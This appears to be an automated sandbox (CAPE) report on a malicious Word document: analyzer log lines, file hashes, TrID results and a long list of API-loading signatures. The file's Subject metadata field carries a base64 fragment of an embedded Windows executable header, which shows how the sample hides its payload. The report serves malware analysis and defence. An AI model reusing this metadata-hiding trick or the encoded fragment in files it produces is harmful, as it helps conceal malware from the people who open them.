2019-10-09 22:13:10,661 [root] DEBUG: set_caller_info: Adding region at 0x000007FEFA5F0000 to caller regions list (ntdll::NtClose).
2019-10-09 22:13:10,661 [root] DEBUG: DLL unloaded from 0x000007FEFBAB0000.
2019-10-09 22:13:10,661 [root] DEBUG: DLL unloaded from 0x000007FEF9740000.
2019-10-09 22:13:10,661 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF9740000 to caller regions list (ntdll::NtFreeVirtualMemory).
2019-10-09 22:13:10,677 [root] DEBUG: DLL unloaded from 0x000007FEF9C60000.
2019-10-09 22:13:10,677 [root] DEBUG: set_caller_info: Adding region at 0x000007FEF9C60000 to caller regions list (ntdll::LdrGetProcedureAddress).
2019-10-09 22:13:10,677 [root] DEBUG: DLL unloaded from 0x000007FEF96B0000.
2019-10-09 22:13:10,694 [root] DEBUG: DLL unloaded from 0x000007FEFA1D0000.
2019-10-09 22:13:10,694 [root] DEBUG: set_caller_info: Adding region at 0x000007FEFA1D0000 to caller regions list (ntdll::NtClose).
2019-10-09 22:13:10,694 [root] DEBUG: set_caller_info: Adding region at 0x000007FEFA100000 to caller regions list (ntdll::LdrGetProcedureAddress).
2019-10-09 22:13:59,818 [root] DEBUG: DLL unloaded from 0x000007FEFE710000.
2019-10-09 22:15:52,357 [root] INFO: Analysis timeout hit (200 seconds), terminating analysis.
2019-10-09 22:15:52,357 [root] INFO: Created shutdown mutex.
2019-10-09 22:15:53,371 [lib.api.process] INFO: Successfully received reply to terminate_event, pid 1708
2019-10-09 22:15:53,371 [root] INFO: Terminate event set for process 1708.
2019-10-09 22:15:53,371 [root] INFO: Terminating process 1708 before shutdown.
2019-10-09 22:15:53,371 [root] DEBUG: Terminate Event: Attempting to dump process 1708
2019-10-09 22:15:53,371 [root] INFO: Waiting for process 1708 to exit.
2019-10-09 22:15:53,371 [root] DEBUG: DumpInterestingRegions: Dumping Imagebase at 0x00000000FFA80000.
2019-10-09 22:15:53,371 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2019-10-09 22:15:53,371 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00000000FFA80000.
2019-10-09 22:15:53,371 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000002B790.
2019-10-09 22:15:53,480 [root] INFO: Added new CAPE file to list with path: C:\PrbJBIo\CAPE\1708_118007076853152193102019
2019-10-09 22:15:53,480 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x2baa00.
2019-10-09 22:15:53,480 [root] DEBUG: Terminate Event: Skipping dump of process 1708
2019-10-09 22:15:53,480 [root] DEBUG: Terminate Event: Shutdown complete for process 1708 but failed to inform analyzer.
2019-10-09 22:15:54,375 [root] INFO: Shutting down package.
2019-10-09 22:15:54,375 [root] INFO: Stopping auxiliary modules.
2019-10-09 22:15:54,375 [root] INFO: Finishing auxiliary modules.
2019-10-09 22:15:54,375 [root] INFO: Shutting down pipe server and dumping dropped files.
2019-10-09 22:15:54,375 [root] WARNING: File at path "C:\PrbJBIo\debugger" does not exist, skip.
2019-10-09 22:15:54,375 [root] WARNING: Monitor injection attempted but failed for process 77633797.
2019-10-09 22:15:54,375 [root] WARNING: Monitor injection attempted but failed for process 1.
2019-10-09 22:15:54,375 [root] INFO: Analysis completed.

MalScore

10.0

Malicious

Machine

Name Label Manager Started On Shutdown On
target-02 target-02 ESX 2019-10-09 21:12:25 2019-10-09 21:16:06

File Details

File Name 085be1b8b8f3e90be00f6a3bcea2879f
File Size 341504 bytes
File Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Subject: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACseA3F6BljlugZY5boGWOWh2/IlsEZY5aHb/2W+BljlodvyZabGWOW4WHwluMZY5boGWKWjhljlodvzJblGWOWh2/4lukZY5aHb/6W6RljllJpY2joGWOWAAAAAAAAAABQRQAATAEEALnx1FkAAAAAAAAAAOAAAiELAQoAALgAAACMAAAAAAAADj4AAAAQAAAA0AAAAAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAABwAQAABAAAAAAAAAIAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAADQBQEARAAAAJT+AABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFABAHQLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANjyAABAAAAAAAAAAAAAAAAA0AAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAALLcAAAAQAAAAuAAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABQ2AAAA0AAAADgAAAC8AAAAAAAAAAAAAAAAAABAAABALmRhdGEAAACEOwAAABABAAAeAAAA9AAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAA2BYAAABQAQAAGAAAABIBAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, Author: Rafael Moon, Template: Normal, Last Saved By: Nick Daemoji, Revision Number: 7, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:46:00, Create Time/Date: Tue Oct 3 01:36:00 2017, Last Saved Time/Date: Wed Oct 4 14:20:00 2017, Number of Pages: 2, Number of Words: 412, Number of Characters: 2536, Security: 0
MD5 085be1b8b8f3e90be00f6a3bcea2879f
SHA1 cc7607015cd7a1a4452acd3d87adabdd7e005bd7
SHA256 c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f
SHA512 9d61f7fcf4543ca2e9d282df93fa604a1736a5a50da47e7c66ecaa635465fef61b26c94af5f6204601668e646b6a140f0e248e01ad79fce056b671a3f6d8c6af
CRC32 F550FCA3
Ssdeep 6144:yaZ5a2auBso4RCTS8I7Dh4tkX7rETf1I3pS:35a2bBso6qGf7AT9I3pS
TrID
  • 37.8% (.4PK) Perfect Keyboard macro set (36000/1/2)
  • 33.6% (.DOC) Microsoft Word document (32000/1/3)
  • 20.0% (.DOC) Microsoft Word document (old ver.) (19000/1/2)
  • 8.4% (.) Generic OLE2 / Multistream Compound File (8000/1)
ClamAV None matched
Yara None matched
CAPE Yara None matched
Resubmit sample

Signatures

SetUnhandledExceptionFilter detected (possible anti-debug)
Possible date expiration check, exits too soon after checking local time
process: WINWORD.EXE, PID 1184
Dynamic (imported) function loading detected
DynamicLoader: kernel32.dll/HeapSetInformation
DynamicLoader: GKWord.dll/FValidateWordFile
DynamicLoader: GKWord.dll/HrInitHost
DynamicLoader: kernel32.dll/SwitchToThread
DynamicLoader: kernel32.dll/TryEnterCriticalSection
DynamicLoader: kernel32.dll/SetCriticalSectionSpinCount
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: GDI32.dll/GetCharABCWidthsI
DynamicLoader: USP10.DLL/ScriptGetFontScriptTags
DynamicLoader: GDI32.dll/GdiRealizationInfo
DynamicLoader: GDI32.dll/FontIsLinked
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: USP10.DLL/ScriptGetFontLanguageTags
DynamicLoader: USP10.DLL/ScriptGetFontFeatureTags
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: OLEAUT32.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: ADVAPI32.dll/RegQueryValueW
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: apphelp.dll/ApphelpCheckShellObject
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: kernel32.dll/GetTickCount64
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: GDI32.dll/GdiTransparentBlt
DynamicLoader: GDI32.dll/GdiAlphaBlend
DynamicLoader: GDI32.dll/GdiGradientFill
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: USP10.DLL/ScriptItemizeOpenType
DynamicLoader: USP10.DLL/ScriptShapeOpenType
DynamicLoader: USP10.DLL/ScriptPlaceOpenType
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: kernel32.dll/CreateActCtxW
DynamicLoader: kernel32.dll/LoadLibraryW
DynamicLoader: kernel32.dll/ReleaseActCtx
DynamicLoader: GdiPlus.dll/GdiplusStartup
DynamicLoader: kernel32.dll/IsProcessorFeaturePresent
DynamicLoader: USER32.dll/GetWindowInfo
DynamicLoader: USER32.dll/GetAncestor
DynamicLoader: USER32.dll/GetMonitorInfoA
DynamicLoader: USER32.dll/EnumDisplayMonitors
DynamicLoader: USER32.dll/EnumDisplayDevicesA
DynamicLoader: GDI32.dll/ExtTextOutW
DynamicLoader: GDI32.dll/GdiIsMetaPrintDC
DynamicLoader: GdiPlus.dll/GdipCreatePath
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipAddPathRectangle
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipCreatePen1
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipDeletePen
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipCreateSolidFill
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetSolidFillColor
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipGetPointCount
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipClonePath
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipCreateFromHDC
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetPageUnit
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipGetVisibleClipBoundsI
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipCreateMatrix
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetMatrixElements
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetSmoothingMode
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetTextRenderingHint
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetInterpolationMode
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetPixelOffsetMode
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetWorldTransform
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipGetWorldTransform
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipGetSmoothingMode
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipGetInterpolationMode
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipResetWorldTransform
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipCreateRegion
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipGetClip
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipDeleteMatrix
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetClipRegion
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipDeleteRegion
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipSetClipRectI
DynamicLoader: mso.dll/
DynamicLoader: USP10.DLL/ScriptItemize
DynamicLoader: USP10.DLL/ScriptPlace
DynamicLoader: USP10.DLL/ScriptShape
DynamicLoader: USP10.DLL/ScriptItemizeOpenType
DynamicLoader: USP10.DLL/ScriptPlaceOpenType
DynamicLoader: USP10.DLL/ScriptShapeOpenType
DynamicLoader: USP10.DLL/ScriptJustify
DynamicLoader: USP10.DLL/ScriptTextOut
DynamicLoader: USP10.DLL/ScriptCPtoX
DynamicLoader: USP10.DLL/ScriptXtoCP
DynamicLoader: USP10.DLL/ScriptFreeCache
DynamicLoader: USP10.DLL/ScriptCacheGetHeight
DynamicLoader: USP10.DLL/ScriptGetCMap
DynamicLoader: USP10.DLL/ScriptLayout
DynamicLoader: USP10.DLL/ScriptBreak
DynamicLoader: USP10.DLL/ScriptIsComplex
DynamicLoader: USP10.DLL/ScriptGetFontFeatureTags
DynamicLoader: USP10.DLL/ScriptGetFontScriptTags
DynamicLoader: USP10.DLL/ScriptGetFontLanguageTags
DynamicLoader: USP10.DLL/ScriptGetLogicalWidths
DynamicLoader: USP10.DLL/ScriptApplyLogicalWidth
DynamicLoader: USP10.DLL/ScriptGetGlyphABCWidth
DynamicLoader: USP10.DLL/ScriptCacheGetHeight
DynamicLoader: USP10.DLL/ScriptGetGlyphABCWidth
DynamicLoader: USP10.DLL/ScriptGetFontProperties
DynamicLoader: USP10.DLL/ScriptApplyDigitSubstitution
DynamicLoader: USP10.DLL/ScriptRecordDigitSubstitution
DynamicLoader: USP10.DLL/ScriptGetProperties
DynamicLoader: USP10.DLL/ScriptGetFontAlternateGlyphs
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipGetRegionHRgn
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipGetDC
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipGetMatrixElements
DynamicLoader: mso.dll/
DynamicLoader: GDI32.dll/GdiIsMetaPrintDC
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipReleaseDC
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipDeleteGraphics
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipDeleteBrush
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipDeletePath
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: kernel32.dll/HeapSetInformation
DynamicLoader: msproof7.dll/DllGetClassObject
DynamicLoader: msproof7.dll/DllCanUnloadNow
DynamicLoader: ADVAPI32.dll/EventWrite
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: ADVAPI32.dll/EventUnregister
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: ADVAPI32.dll/NotifyServiceStatusChangeW
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: ADVAPI32.dll/NotifyServiceStatusChangeW
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
DynamicLoader: CRYPTSP.dll/CryptGenKey
DynamicLoader: CRYPTSP.dll/CryptImportKey
DynamicLoader: CRYPTSP.dll/CryptExportKey
DynamicLoader: CRYPTSP.dll/CryptDestroyKey
DynamicLoader: CRYPTSP.dll/CryptCreateHash
DynamicLoader: CRYPTSP.dll/CryptSetHashParam
DynamicLoader: CRYPTSP.dll/CryptHashData
DynamicLoader: CRYPTSP.dll/CryptGetHashParam
DynamicLoader: CRYPTSP.dll/CryptDestroyHash
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: kernel32.dll/InitializeCriticalSectionAndSpinCount
DynamicLoader: kernel32.dll/IsProcessorFeaturePresent
DynamicLoader: MSGR3EN.DLL/CheckVersion
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: MSGR3EN.DLL/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: GdiPlus.dll/GdipLoadImageFromStreamICM
DynamicLoader: WindowsCodecs.dll/DllGetClassObject
DynamicLoader: kernel32.dll/WerRegisterMemoryBlock
DynamicLoader: GdiPlus.dll/GdipGetImageRawFormat
DynamicLoader: GdiPlus.dll/GdipGetImageFlags
DynamicLoader: GdiPlus.dll/GdipGetImageWidth
DynamicLoader: GdiPlus.dll/GdipGetImageHeight
DynamicLoader: GdiPlus.dll/GdipGetImagePixelFormat
DynamicLoader: GdiPlus.dll/GdipGetImageHorizontalResolution
DynamicLoader: GdiPlus.dll/GdipGetImageVerticalResolution
DynamicLoader: GdiPlus.dll/GdipImageGetFrameCount
DynamicLoader: GdiPlus.dll/GdipDisposeImage
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: riched20.dll/REMSOHInst
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: RPCRT4.dll/NdrClientCall2
DynamicLoader: RPCRT4.dll/RpcStringBindingComposeW
DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
DynamicLoader: RPCRT4.dll/RpcStringFreeW
DynamicLoader: RPCRT4.dll/RpcBindingFree
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: RPCRT4.dll/RpcMgmtIsServerListening
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: Winspool.DRV/StartDocDlgW
DynamicLoader: Winspool.DRV/OpenPrinterW
DynamicLoader: Winspool.DRV/ResetPrinterW
DynamicLoader: Winspool.DRV/ClosePrinter
DynamicLoader: Winspool.DRV/GetPrinterW
DynamicLoader: Winspool.DRV/GetPrinterDriverW
DynamicLoader: Winspool.DRV/EndDocPrinter
DynamicLoader: Winspool.DRV/EndPagePrinter
DynamicLoader: Winspool.DRV/ReadPrinter
DynamicLoader: Winspool.DRV/StartDocPrinterW
DynamicLoader: Winspool.DRV/StartPagePrinter
DynamicLoader: Winspool.DRV/AbortPrinter
DynamicLoader: Winspool.DRV/DocumentEvent
DynamicLoader: Winspool.DRV/QuerySpoolMode
DynamicLoader: Winspool.DRV/QueryRemoteFonts
DynamicLoader: Winspool.DRV/SeekPrinter
DynamicLoader: Winspool.DRV/QueryColorProfile
DynamicLoader: Winspool.DRV/SplDriverUnloadComplete
DynamicLoader: Winspool.DRV/DocumentPropertiesW
DynamicLoader: Winspool.DRV/
DynamicLoader: Winspool.DRV/IsValidDevmodeW
DynamicLoader: Winspool.DRV/GetSpoolFileHandle
DynamicLoader: Winspool.DRV/CommitSpoolData
DynamicLoader: Winspool.DRV/CloseSpoolFileHandle
DynamicLoader: Winspool.DRV/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: SXS.DLL/SxsOleAut32MapReferenceClsidToConfiguredClsid
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
